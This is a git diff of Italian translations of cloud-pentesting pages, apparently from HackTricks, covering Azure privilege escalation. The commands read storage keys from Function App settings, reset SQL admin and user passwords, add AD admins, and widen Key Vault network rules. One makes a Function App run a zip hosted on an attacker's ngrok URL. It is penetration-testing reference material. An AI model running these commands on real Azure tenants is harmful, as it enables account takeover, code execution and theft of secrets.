Con questo permesso, puoi resettare il GTID (Global Transaction Identifier) per un'istanza di MySQL Flexible Server su Azure. Resettare il GTID invaliderà tutti i backup automatizzati, on-demand e geo-backup effettuati prima dell'azione di reset. Dopo il reset del GTID, non sarai in grado di eseguire PITR (point-in-time-restore) utilizzando il punto di ripristino più veloce o un punto di ripristino personalizzato se l'orario di ripristino selezionato è precedente all'orario di reset del GTID. E il geo-ripristino riuscito sarà possibile solo dopo 5 giorni.
```bash
az mysql flexible-server reset-gtid \
--name \

View File

@@ -34,7 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
Dopo che l'assegnazione della definizione è stata data a un utente. Dopo di c, quell'utente può utilizzare il metodo di connessione DefaultAzureCredential() per eseguire query.
Dopo che l'assegnazione della definizione è stata data a un utente. Dopo di che, quell'utente può utilizzare il metodo di connessione DefaultAzureCredential() per eseguire query.
```bash
az cosmosdb sql role assignment create \
--account-name <account_name> \

View File

@@ -12,7 +12,7 @@ Controlla la pagina seguente per ulteriori informazioni:
### Bucket Read/Write
Con permessi per leggere i contenitori all'interno dello Storage Account che memorizza i dati della funzione, è possibile trovare **contenitori diversi** (personalizzati o con nomi predefiniti) che potrebbero contenere **il codice eseguito dalla funzione**.
Con permessi per leggere i contenitori all'interno dello Storage Account che memorizza i dati della funzione, è possibile trovare **diversi contenitori** (personalizzati o con nomi predefiniti) che potrebbero contenere **il codice eseguito dalla funzione**.
Una volta trovato dove si trova il codice della funzione, se hai permessi di scrittura su di esso, puoi far eseguire alla funzione qualsiasi codice e aumentare i privilegi delle identità gestite collegate alla funzione.
@@ -26,12 +26,12 @@ az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Quei configureranno conterranno la **Storage Account Key** che la Function può utilizzare per accedere al codice.
Quei configurazioni conterranno la **Storage Account Key** che la Function può utilizzare per accedere al codice.
> [!CAUTION]
> Con abbastanza permessi per connettersi al File Share e **modificare lo script** in esecuzione, è possibile eseguire codice arbitrario nella Function e aumentare i privilegi.
Il seguente esempio utilizza macOS per connettersi al file share, ma si consiglia di controllare anche la seguente pagina per ulteriori informazioni sui file share:
L'esempio seguente utilizza macOS per connettersi al file share, ma si consiglia di controllare anche la seguente pagina per ulteriori informazioni sui file share:
{{#ref}}
../az-services/az-file-shares.md
@@ -172,7 +172,7 @@ az functionapp keys set --resource-group <res_group> --key-name <key-name> --key
```
### `Microsoft.Web/sites/config/list/action`
Questo permesso consente di ottenere le impostazioni di una funzione. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** che contengono una **chiave dell'account per accedere allo storage blob della funzione con permessi COMPLETI**.
Questo permesso consente di ottenere le impostazioni di una funzione. All'interno di queste configurazioni potrebbe essere possibile trovare i valori predefiniti **`AzureWebJobsStorage`** o **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** che contengono una **chiave dell'account per accedere al blob storage della funzione con permessi COMPLETI**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
@@ -205,7 +205,7 @@ ngrok http 8000
```
- Modifica la funzione, mantieni i parametri precedenti e aggiungi alla fine la configurazione **`WEBSITE_RUN_FROM_PACKAGE`** che punta all'URL con il **zip** contenente il codice.
L'esempio seguente mostra le **mie impostazioni personali, dovrai cambiare i valori con i tuoi**, nota alla fine i valori `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, qui è dove stavo ospitando l'app.
L'esempio seguente mostra le **mie impostazioni personali che dovrai modificare i valori per le tue**, nota alla fine i valori `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, questo è dove stavo ospitando l'app.
```bash
# Modify the function
az rest --method PUT \
@@ -240,7 +240,7 @@ az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Se le credenziali sono **REDACTED**
- Se le credenziali di **REDACTED**
Se vedi che quelle credenziali sono **REDACTED**, è perché **devi abilitare l'opzione di autenticazione di base SCM** e per questo hai bisogno del secondo permesso (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
@@ -309,7 +309,7 @@ az rest --url "https://management.azure.com/subscriptions/<subscription-id>/reso
Con questo permesso è possibile [ottenere il **token admin**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) che può essere successivamente utilizzato per recuperare la **chiave master** e quindi accedere e modificare il codice della funzione.
Tuttavia, nei miei ultimi controlli non è stato restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come faresti:
Tuttavia, nei miei ultimi controlli non è stato restituito alcun token, quindi potrebbe essere disabilitato o non funzionare più, ma ecco come lo faresti:
```bash
# Get admin token
az rest --method GET \
@@ -335,7 +335,7 @@ az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/res
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Con questi permessi è possibile **modificare il contenitore eseguito da un'app funzione** configurata per eseguire un contenitore. Questo permetterebbe a un attaccante di caricare un'app contenitore di funzione azure malevola su docker hub (ad esempio) e far eseguire la funzione.
Con questi permessi è possibile **modificare il contenitore eseguito da un'app di funzione** configurata per eseguire un contenitore. Questo permetterebbe a un attaccante di caricare un'app di contenitore di funzione azure malevola su docker hub (ad esempio) e far eseguire la funzione.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -364,7 +364,7 @@ az functionapp config set --remote-debugging-enabled=True --name <app-name> --re
```
### Cambiare il repository Github
Ho provato a cambiare il repository Github da cui sta avvenendo il deploy eseguendo i seguenti comandi, ma anche se è cambiato, **il nuovo codice non è stato caricato** (probabilmente perché si aspetta che l'azione Github aggiorni il codice).\
Ho provato a cambiare il repository Github da cui sta avvenendo il deployment eseguendo i seguenti comandi, ma anche se è cambiato, **il nuovo codice non è stato caricato** (probabilmente perché si aspetta che l'azione Github aggiorni il codice).\
Inoltre, **le credenziali federate dell'identità gestita non sono state aggiornate** per consentire il nuovo repository, quindi sembra che questo non sia molto utile.
```bash
# Remove current

View File

@@ -4,7 +4,7 @@
## Azure Key Vault
Per ulteriori informazioni su questo servizio controlla:
Per ulteriori informazioni su questo servizio, controlla:
{{#ref}}
../az-services/az-keyvault.md
@@ -29,4 +29,14 @@ az keyvault set-policy \
--certificate-permissions all \
--storage-permissions all
```
### Modifica delle Restrizioni di Rete
Potrebbe essere possibile che tu abbia abbastanza permessi per accedere a dati sensibili (come il valore di un segreto) ma non puoi accedervi perché il key vault è limitato a una rete specifica. Se hai il permesso di modificare le restrizioni di rete, puoi aggiungere il tuo IP all'elenco degli IP consentiti.
```bash
# Get the current network restrictions
az keyvault network-rule list --name <vault-name>
# Add your IP to the list
az keyvault network-rule add --name <vault-name> --ip-address <your-ip>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -33,7 +33,7 @@ az rest \
--headers "Content-Type=application/json"
```
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
Con questi permessi, puoi distribuire flussi di lavoro di Logic App utilizzando distribuzioni di file ZIP. Questi permessi abilitano azioni come la lettura dei dettagli dell'app, l'accesso alle credenziali di pubblicazione, la scrittura di modifiche e l'elenco delle configurazioni dell'app. Insieme ai permessi di avvio, puoi aggiornare e distribuire una nuova Logic App con il contenuto desiderato.
Con queste autorizzazioni, puoi distribuire flussi di lavoro di Logic App utilizzando distribuzioni di file ZIP. Queste autorizzazioni abilitano azioni come la lettura dei dettagli dell'app, l'accesso alle credenziali di pubblicazione, la scrittura di modifiche e l'elenco delle configurazioni dell'app. Insieme alle autorizzazioni di avvio, puoi aggiornare e distribuire una nuova Logic App con il contenuto desiderato.
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \

View File

@@ -37,7 +37,7 @@ az mysql flexible-server update --resource-group <resource_group_name> --server-
```
### `Microsoft.DBforMySQL/flexibleServers/read`, `Microsoft.DBforMySQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforMySQL/flexibleServers/administrators/write` && `Microsoft.DBforMySQL/flexibleServers/administrators/read`
Con questo permesso, puoi configurare gli amministratori di Azure Active Directory (AD) per un MySQL Flexible Server. Questo può essere sfruttato impostando se stessi o un altro account come amministratore AD, concedendo il pieno controllo amministrativo sul server MySQL. È importante che il flexible-server abbia identità gestite assegnate all'utente da utilizzare.
Con questo permesso, puoi configurare gli amministratori di Azure Active Directory (AD) per un MySQL Flexible Server. Questo può essere sfruttato impostando se stessi o un altro account come amministratore AD, concedendo il pieno controllo amministrativo sul server MySQL. È importante che il flexible-server abbia identità gestite assegnate a un utente da utilizzare.
```bash
az mysql flexible-server ad-admin create \
--resource-group <ResourceGroupName> \

View File

@@ -37,9 +37,9 @@ az postgres flexible-server update --resource-group <resource_group_name> --serv
```
### `Microsoft.DBforPostgreSQL/flexibleServers/read`, `Microsoft.DBforPostgreSQL/flexibleServers/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.DBforPostgreSQL/flexibleServers/administrators/write` && `Microsoft.DBforPostgreSQL/flexibleServers/administrators/read`
Con questo permesso, puoi configurare gli amministratori di Azure Active Directory (AD) per un PostgreSQL Flexible Server. Questo può essere sfruttato impostando se stessi o un altro account come amministratore AD, concedendo il pieno controllo amministrativo sul server PostgreSQL. L'aggiornamento del principale esistente non è ancora supportato, quindi se ce n'è uno creato, devi prima eliminarlo.
Con questo permesso, puoi configurare gli amministratori di Azure Active Directory (AD) per un PostgreSQL Flexible Server. Questo può essere sfruttato impostando se stessi o un altro account come amministratore AD, concedendo il pieno controllo amministrativo sul server PostgreSQL. L'aggiornamento di un principale esistente non è ancora supportato, quindi se ce n'è uno creato, devi prima eliminarlo.
È importante che il flexible-server abbia un'identità gestita assegnata all'utente da utilizzare.
È importante che il flexible-server abbia identità gestite assegnate all'utente da utilizzare.
```bash
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \

View File

@@ -12,7 +12,7 @@ Per ulteriori informazioni controlla:
### Invia Messaggi. Azione: `Microsoft.ServiceBus/namespaces/authorizationRules/listkeys/action` O `Microsoft.ServiceBus/namespaces/authorizationRules/regenerateKeys/action`
Puoi recuperare il `PrimaryConnectionString`, che funge da credenziale per il namespace del Service Bus. Con questa stringa di connessione, puoi autenticarti completamente come il namespace del Service Bus, permettendoti di inviare messaggi a qualsiasi coda o argomento e potenzialmente interagire con il sistema in modi che potrebbero interrompere le operazioni, impersonare utenti validi o iniettare dati dannosi nel flusso di messaggistica.
Puoi recuperare il `PrimaryConnectionString`, che funge da credenziale per lo spazio dei nomi del Service Bus. Con questa stringa di connessione, puoi autenticarti completamente come spazio dei nomi del Service Bus, permettendoti di inviare messaggi a qualsiasi coda o argomento e potenzialmente interagire con il sistema in modi che potrebbero interrompere le operazioni, impersonare utenti validi o iniettare dati dannosi nel flusso di messaggistica.
```python
#You need to install the following libraries
#pip install azure-servicebus

View File

@@ -12,7 +12,7 @@ Per ulteriori informazioni su SQL Database controlla:
### `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/write`
Con questi permessi, un utente può eseguire un'escursione dei privilegi aggiornando o creando server SQL di Azure e modificando configurazioni critiche, comprese le credenziali amministrative. Questo permesso consente all'utente di aggiornare le proprietà del server, inclusa la password dell'amministratore del server SQL, consentendo accesso non autorizzato o controllo sul server. Possono anche creare nuovi server, potenzialmente introducendo infrastrutture ombra per scopi malevoli. Questo diventa particolarmente critico in ambienti in cui "Microsoft Entra Authentication Only" è disabilitato, poiché possono sfruttare l'autenticazione basata su SQL per ottenere accesso illimitato.
Con questi permessi, un utente può eseguire un'escursione di privilegi aggiornando o creando server SQL di Azure e modificando configurazioni critiche, comprese le credenziali amministrative. Questo permesso consente all'utente di aggiornare le proprietà del server, inclusa la password dell'amministratore del server SQL, consentendo accesso non autorizzato o controllo sul server. Possono anche creare nuovi server, potenzialmente introducendo infrastrutture shadow per scopi malevoli. Questo diventa particolarmente critico in ambienti in cui "Microsoft Entra Authentication Only" è disabilitato, poiché possono sfruttare l'autenticazione basata su SQL per ottenere accesso illimitato.
```bash
# Change the server password
az sql server update \
@@ -74,7 +74,7 @@ NOTA: È necessario avere abilitato l'accesso pubblico.
### `Microsoft.Sql/servers/administrators/write` && `Microsoft.Sql/servers/administrators/read`
Con questi permessi puoi effettuare un privesc in un ambiente Azure SQL Server accedendo ai database SQL e recuperando informazioni critiche. Utilizzando il comando qui sotto, un attaccante o un utente autorizzato può impostare se stesso o un altro account come amministratore di Azure AD. Se "Microsoft Entra Authentication Only" è abilitato, puoi accedere al server e alle sue istanze. Ecco il comando per impostare l'amministratore di Azure AD per un server SQL:
Con questi permessi puoi eseguire un privesc in un ambiente Azure SQL Server accedendo ai database SQL e recuperando informazioni critiche. Utilizzando il comando qui sotto, un attaccante o un utente autorizzato può impostare se stesso o un altro account come amministratore di Azure AD. Se "Microsoft Entra Authentication Only" è abilitato, puoi accedere al server e alle sue istanze. Ecco il comando per impostare l'amministratore di Azure AD per un server SQL:
```bash
az sql server ad-admin create \
--server <server_name> \
@@ -84,7 +84,7 @@ az sql server ad-admin create \
```
### `Microsoft.Sql/servers/azureADOnlyAuthentications/write` && `Microsoft.Sql/servers/azureADOnlyAuthentications/read`
Con queste autorizzazioni, puoi configurare e applicare "Microsoft Entra Authentication Only" su un Azure SQL Server, il che potrebbe facilitare l'escalation dei privilegi in determinate situazioni. Un attaccante o un utente autorizzato con queste autorizzazioni può abilitare o disabilitare l'autenticazione solo con Azure AD.
Con queste autorizzazioni, puoi configurare e applicare "Autenticazione solo Microsoft Entra" su un Azure SQL Server, il che potrebbe facilitare l'escalation dei privilegi in determinate situazioni. Un attaccante o un utente autorizzato con queste autorizzazioni può abilitare o disabilitare l'autenticazione solo Azure AD.
```bash
#Enable
az sql server azure-ad-only-auth enable \

View File

@@ -18,7 +18,7 @@ az storage account keys list --account-name <acc-name>
```
### `Microsoft.Storage/storageAccounts/regenerateKey/action`
Un principale con questo permesso sarà in grado di rinnovare e ottenere il nuovo valore segreto delle **chiavi di accesso** degli account di archiviazione. Consentendo al principale di elevare i propri privilegi sugli account di archiviazione.
Un principale con questo permesso sarà in grado di rinnovare e ottenere il nuovo valore segreto delle **chiavi di accesso** degli account di archiviazione. Consentendo al principale di aumentare i propri privilegi sugli account di archiviazione.
Inoltre, nella risposta, l'utente riceverà il valore della chiave rinnovata e anche di quella non rinnovata:
```bash
@@ -70,7 +70,7 @@ Questo dovrebbe consentire a un utente con questo permesso di poter eseguire azi
### `Microsoft.Storage/storageAccounts/localusers/write (Microsoft.Storage/storageAccounts/localusers/read)`
Con questo permesso, un attaccante può creare e aggiornare (se ha il permesso `Microsoft.Storage/storageAccounts/localusers/read`) un nuovo utente locale per un account Azure Storage (configurato con namespace gerarchico), inclusa la specifica dei permessi e della directory home dell'utente. Questo permesso è significativo perché consente all'attaccante di concedere a se stesso l'accesso a un account di archiviazione con permessi specifici come lettura (r), scrittura (w), eliminazione (d) e elenco (l) e altro ancora. Inoltre, i metodi di autenticazione che utilizza possono essere password generate da Azure e coppie di chiavi SSH. Non c'è alcun controllo se un utente esiste già, quindi puoi sovrascrivere altri utenti già presenti. L'attaccante potrebbe elevare i propri privilegi e ottenere accesso SSH all'account di archiviazione, esponendo o compromettendo potenzialmente dati sensibili.
Con questo permesso, un attaccante può creare e aggiornare (se ha il permesso `Microsoft.Storage/storageAccounts/localusers/read`) un nuovo utente locale per un account Azure Storage (configurato con namespace gerarchico), inclusa la specifica dei permessi e della directory home dell'utente. Questo permesso è significativo perché consente all'attaccante di concedere a se stesso l'accesso a un account di archiviazione con permessi specifici come lettura (r), scrittura (w), eliminazione (d) e elenco (l) e altro ancora. Inoltre, i metodi di autenticazione che utilizza possono essere password generate da Azure e coppie di chiavi SSH. Non c'è alcun controllo se un utente esiste già, quindi è possibile sovrascrivere altri utenti già presenti. L'attaccante potrebbe elevare i propri privilegi e ottenere accesso SSH all'account di archiviazione, esponendo o compromettendo potenzialmente dati sensibili.
```bash
az storage account local-user create \
--account-name <STORAGE_ACCOUNT_NAME> \
@@ -96,7 +96,7 @@ sftp <storage-account-name>.<local-user-name>@<storage-account-name>.blob.core.w
```
### `Microsoft.Storage/storageAccounts/restoreBlobRanges/action`, `Microsoft.Storage/storageAccounts/blobServices/containers/read`, `Microsoft.Storage/storageAccounts/read` && `Microsoft.Storage/storageAccounts/listKeys/action`
Con questi permessi, un attaccante può ripristinare un contenitore eliminato specificando il suo ID di versione eliminata o ripristinare specifici blob all'interno di un contenitore, se erano stati precedentemente eliminati in modo soft. Questa escalation di privilegi potrebbe consentire a un attaccante di recuperare dati sensibili che dovevano essere eliminati permanentemente, portando potenzialmente a accessi non autorizzati.
Con queste autorizzazioni, un attaccante può ripristinare un contenitore eliminato specificando il suo ID di versione eliminata o annullare l'eliminazione di specifici blob all'interno di un contenitore, se erano stati precedentemente eliminati in modo soft. Questa escalation di privilegi potrebbe consentire a un attaccante di recuperare dati sensibili che dovevano essere eliminati permanentemente, portando potenzialmente a accessi non autorizzati.
```bash
#Restore the soft deleted container
az storage container restore \
@@ -112,7 +112,7 @@ az storage blob undelete \
```
### `Microsoft.Storage/storageAccounts/fileServices/shares/restore/action` && `Microsoft.Storage/storageAccounts/read`
Con questi permessi, un attaccante può ripristinare una condivisione file di Azure eliminata specificando il suo ID versione eliminata. Questa escalation di privilegi potrebbe consentire a un attaccante di recuperare dati sensibili che dovevano essere eliminati permanentemente, portando potenzialmente a accessi non autorizzati.
Con questi permessi, un attaccante può ripristinare una condivisione file di Azure eliminata specificando il suo ID versione eliminata. Questa escalation di privilegi potrebbe consentire a un attaccante di recuperare dati sensibili che dovevano essere eliminati permanentemente, portando potenzialmente a un accesso non autorizzato.
```bash
az storage share-rm restore \
--storage-account <STORAGE_ACCOUNT_NAME> \

View File

@@ -2,7 +2,7 @@
{{#include ../../../banners/hacktricks-training.md}}
## Informazioni di Base
## Informazioni di base
Azure Active Directory (Azure AD) funge da servizio basato su cloud di Microsoft per la gestione dell'identità e degli accessi. È fondamentale per consentire ai dipendenti di accedere e ottenere risorse, sia all'interno che al di fuori dell'organizzazione, comprendendo Microsoft 365, il portale Azure e una moltitudine di altre applicazioni SaaS. Il design di Azure AD si concentra sulla fornitura di servizi essenziali per l'identità, includendo in modo prominente **autenticazione, autorizzazione e gestione degli utenti**.
@@ -363,7 +363,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password Verbose
```
### MFA & Politiche di Accesso Condizionale
### MFA & Conditional Access Policies
È fortemente consigliato aggiungere MFA a ogni utente, tuttavia, alcune aziende potrebbero non impostarlo o potrebbero impostarlo con un Accesso Condizionale: L'utente sarà **richiesto MFA se** accede da una posizione specifica, browser o **alcuna condizione**. Queste politiche, se non configurate correttamente, potrebbero essere soggette a **bypass**. Controlla:
@@ -371,9 +371,9 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
{{#endref}}
### Gruppi
### Groups
Per ulteriori informazioni sui gruppi di Entra ID controlla:
Per ulteriori informazioni sui gruppi di Entra ID, controlla:
{{#ref}}
../az-basic-information/
@@ -496,7 +496,7 @@ Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
### Service Principals
Per ulteriori informazioni sui service principal di Entra ID, controlla:
Per ulteriori informazioni sui service principals di Entra ID, controlla:
{{#ref}}
../az-basic-information/
@@ -601,7 +601,7 @@ Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembersh
<details>
<summary>Elenca e prova ad aggiungere un client secret su ogni App Aziendale</summary>
<summary>Elenca e prova ad aggiungere un client secret su ogni Enterprise App</summary>
```bash
# Just call Add-AzADAppSecret
Function Add-AzADAppSecret
@@ -714,7 +714,7 @@ Per ulteriori informazioni sulle Applicazioni controlla:
../az-basic-information/
{{#endref}}
Quando un'App viene generata, vengono concessi 2 tipi di permessi:
Quando un'App viene generata, vengono date 2 tipologie di permessi:
- **Permessi** dati al **Service Principal**
- **Permessi** che l'**app** può avere e utilizzare per **conto dell'utente**.
@@ -1125,7 +1125,7 @@ Consente all'amministratore di configurarlo per **bloccare** i tentativi quando
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Oggi è consigliato aggiungere queste restrizioni tramite politiche di Accesso Condizionale dove è possibile configurare le stesse opzioni.
> Oggigiorno è consigliato aggiungere queste restrizioni tramite politiche di Accesso Condizionale dove è possibile configurare le stesse opzioni.
### Protezione della password di Entra

View File

@@ -8,21 +8,21 @@
Non ci sono permessi assegnati a questo servizio, quindi non ci sono tecniche di escalation dei privilegi. Inoltre, non c'è alcun tipo di enumerazione.
### Key Features
### Caratteristiche principali
**Environment**: Azure Cloud Shell fornisce un ambiente sicuro eseguendo su Azure Linux, la distribuzione Linux di Microsoft progettata per l'infrastruttura cloud. Tutti i pacchetti inclusi nel repository Azure Linux sono compilati internamente da Microsoft per proteggere contro attacchi alla catena di fornitura.
**Preinstalled Tools**: Cloud Shell include un insieme completo di strumenti preinstallati come Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editor di testo come vim, nano ed emacs. Questi strumenti sono pronti all'uso. Per elencare i pacchetti e i moduli installati puoi usare "Get-Module -ListAvailable", "tdnf list" e "pip3 list".
**$HOME persistence**: Quando avvii Azure Cloud Shell per la prima volta, puoi usarlo con o senza un account di archiviazione allegato. Scegliere di non allegare l'archiviazione crea una sessione effimera in cui i file vengono eliminati al termine della sessione. Per mantenere i file tra le sessioni, monta un account di archiviazione, che si allega automaticamente come **$HOME\clouddrive**, con la tua directory **$HOME** salvata come un file **.img** in Azure File Share. Tuttavia, i file al di fuori di $HOME e gli stati della macchina non vengono mantenuti. Per memorizzare in modo sicuro segreti come le chiavi SSH, utilizza Azure Key Vault.
**Azure drive (Azure:)**: PowerShell in Azure Cloud Shell include l'Azure drive (Azure:), che consente una navigazione facile delle risorse Azure come Compute, Network e Storage utilizzando comandi simili a quelli del filesystem. Passa all'Azure drive con cd Azure: e torna alla tua directory home con cd ~. Puoi comunque utilizzare i cmdlet di Azure PowerShell per gestire le risorse da qualsiasi drive.
**Custom Tool Installation**: Gli utenti che configurano Cloud Shell con un account di archiviazione possono installare strumenti aggiuntivi che non richiedono permessi di root. Questa funzionalità consente una maggiore personalizzazione dell'ambiente Cloud Shell, consentendo agli utenti di adattare la propria configurazione alle proprie esigenze specifiche.
**Ambiente**: Azure Cloud Shell fornisce un ambiente sicuro eseguendo su Azure Linux, la distribuzione Linux di Microsoft progettata per l'infrastruttura cloud. Tutti i pacchetti inclusi nel repository Azure Linux sono compilati internamente da Microsoft per proteggere contro attacchi alla catena di fornitura.
**Strumenti preinstallati**: Cloud Shell include un insieme completo di strumenti preinstallati come Azure CLI, Azure PowerShell, Terraform, Docker CLI, Ansible, Git e editor di testo come vim, nano ed emacs. Questi strumenti sono pronti all'uso. Per elencare i pacchetti e i moduli installati puoi usare "Get-Module -ListAvailable", "tdnf list" e "pip3 list".
**Persistenza $HOME**: Quando avvii Azure Cloud Shell per la prima volta, puoi usarlo con o senza un account di archiviazione allegato. Scegliere di non allegare l'archiviazione crea una sessione effimera in cui i file vengono eliminati al termine della sessione. Per mantenere i file tra le sessioni, monta un account di archiviazione, che si allega automaticamente come **$HOME\clouddrive**, con la tua directory **$HOME** salvata come un file **.img** in Azure File Share. Tuttavia, i file al di fuori di $HOME e gli stati delle macchine non vengono mantenuti. Per memorizzare in modo sicuro segreti come le chiavi SSH, utilizza Azure Key Vault.
**Drive Azure (Azure:)**: PowerShell in Azure Cloud Shell include il drive Azure (Azure:), che consente una navigazione facile delle risorse Azure come Compute, Network e Storage utilizzando comandi simili a quelli del filesystem. Passa al drive Azure con cd Azure: e torna alla tua directory home con cd ~. Puoi comunque utilizzare i cmdlet di Azure PowerShell per gestire le risorse da qualsiasi drive.
**Installazione di strumenti personalizzati**: Gli utenti che configurano Cloud Shell con un account di archiviazione possono installare strumenti aggiuntivi che non richiedono permessi di root. Questa funzionalità consente una maggiore personalizzazione dell'ambiente Cloud Shell, consentendo agli utenti di adattare la propria configurazione alle proprie esigenze specifiche.
## References
## Riferimenti
- [https://learn.microsoft.com/en-us/azure/cloud-shell/overview](https://learn.microsoft.com/en-us/azure/cloud-shell/overview)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/features](https://learn.microsoft.com/en-us/azure/cloud-shell/features)
- [https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window](https://learn.microsoft.com/en-us/azure/cloud-shell/using-the-shell-window)
## Persistence
## Persistenza
{{#ref}}
../az-persistence/az-cloud-shell-persistence.md

View File

@@ -4,11 +4,11 @@
## Azure CosmosDB
**Azure Cosmos DB** è un **database NoSQL, relazionale e vettoriale completamente gestito** che offre tempi di risposta a singolo millisecondo, scalabilità automatica e disponibilità supportata da SLA con sicurezza di livello enterprise. Consente uno sviluppo più rapido delle app attraverso la distribuzione di dati multi-regione chiavi in mano, API open-source, SDK per linguaggi popolari e funzionalità di database AI come il supporto vettoriale integrato e l'integrazione senza soluzione di continuità con Azure AI.
**Azure Cosmos DB** è un **database NoSQL, relazionale e vettoriale completamente gestito** che offre tempi di risposta in millisecondi a una cifra, scalabilità automatica e disponibilità supportata da SLA con sicurezza di livello enterprise. Consente uno sviluppo più rapido delle app attraverso la distribuzione di dati multi-regione "chiavi in mano", API open-source, SDK per linguaggi popolari e funzionalità di database AI come il supporto vettoriale integrato e l'integrazione senza soluzione di continuità con Azure AI.
Azure Cosmos DB fornisce più API di database per modellare dati del mondo reale utilizzando modelli di dati documentali, relazionali, chiave-valore, grafico e a colonne, essendo queste API NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin e Table.
Azure Cosmos DB fornisce più API di database per modellare dati del mondo reale utilizzando modelli di dati documentali, relazionali, chiave-valore, grafici e a colonne, essendo queste API NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin e Table.
Un aspetto chiave di CosmosDB è l'Azure Cosmos Account. **Azure Cosmos Account** funge da punto di accesso ai database. L'account determina impostazioni chiave come distribuzione globale, livelli di coerenza e l'API specifica da utilizzare, come NoSQL. Attraverso l'account, puoi configurare la replica globale per garantire che i dati siano disponibili in più regioni per un accesso a bassa latenza. Inoltre, puoi scegliere un livello di coerenza che bilancia tra prestazioni e accuratezza dei dati, con opzioni che vanno da Strong a Eventual consistency.
Un aspetto chiave di CosmosDB è l'Azure Cosmos Account. **Azure Cosmos Account** funge da punto di accesso ai database. L'account determina impostazioni chiave come distribuzione globale, livelli di coerenza e l'API specifica da utilizzare, come NoSQL. Attraverso l'account, puoi configurare la replicazione globale per garantire che i dati siano disponibili in più regioni per un accesso a bassa latenza. Inoltre, puoi scegliere un livello di coerenza che bilancia tra prestazioni e accuratezza dei dati, con opzioni che vanno da Strong a Eventual consistency.
### NoSQL (sql)
L'API NoSQL di Azure Cosmos DB è un'API basata su documenti che utilizza JSON come formato di dati. Fornisce una sintassi di query simile a SQL per interrogare oggetti JSON, rendendola adatta per lavorare con dati strutturati e semi-strutturati. L'endpoint del servizio è:
@@ -19,7 +19,7 @@ https://<Account-Name>.documents.azure.com:443/
All'interno di un account, puoi creare uno o più database, che fungono da raggruppamenti logici di contenitori. Un database agisce come un confine per la gestione delle risorse e i permessi degli utenti. I database possono condividere la capacità di throughput provisionata tra i loro contenitori o allocare throughput dedicato a contenitori individuali.
#### Contenitori
L'unità fondamentale di archiviazione dei dati è il contenitore, che contiene documenti JSON ed è automaticamente indicizzato per query efficienti. I contenitori sono scalabili in modo elastico e distribuiti su partizioni, che sono determinate da una chiave di partizione definita dall'utente. La chiave di partizione è fondamentale per garantire prestazioni ottimali e una distribuzione uniforme dei dati. Ad esempio, un contenitore potrebbe memorizzare dati sui clienti, con "customerId" come chiave di partizione.
L'unità fondamentale di archiviazione dei dati è il contenitore, che contiene documenti JSON ed è automaticamente indicizzato per query efficienti. I contenitori sono elastici e scalabili e distribuiti su partizioni, che sono determinate da una chiave di partizione definita dall'utente. La chiave di partizione è fondamentale per garantire prestazioni ottimali e una distribuzione uniforme dei dati. Ad esempio, un contenitore potrebbe memorizzare dati dei clienti, con "customerId" come chiave di partizione.
#### Enumerazione
@@ -149,7 +149,7 @@ print("All items in the container:")
for item in all_items:
print(item)
```
Un altro modo per stabilire una connessione è utilizzare **DefaultAzureCredential()**. È sufficiente effettuare il login (az login) con l'account che ha i permessi e eseguirlo. In questo caso, deve essere effettuata un'assegnazione di ruolo, dando i permessi necessari (vedi per mor)
Un altro modo per stabilire una connessione è utilizzare il **DefaultAzureCredential()**. È sufficiente effettuare il login (az login) con l'account che ha i permessi e eseguirlo. In questo caso, deve essere effettuata un'assegnazione di ruolo, dando i permessi necessari (vedi per mor)
```python
from azure.identity import DefaultAzureCredential
from azure.cosmos import CosmosClient

View File

@@ -25,7 +25,7 @@
- **Autenticazione AD DS On-premises**: Utilizza le credenziali di Active Directory on-premises sincronizzate con Microsoft Entra ID per l'accesso basato su identità. Richiede connettività di rete con AD DS on-premises.
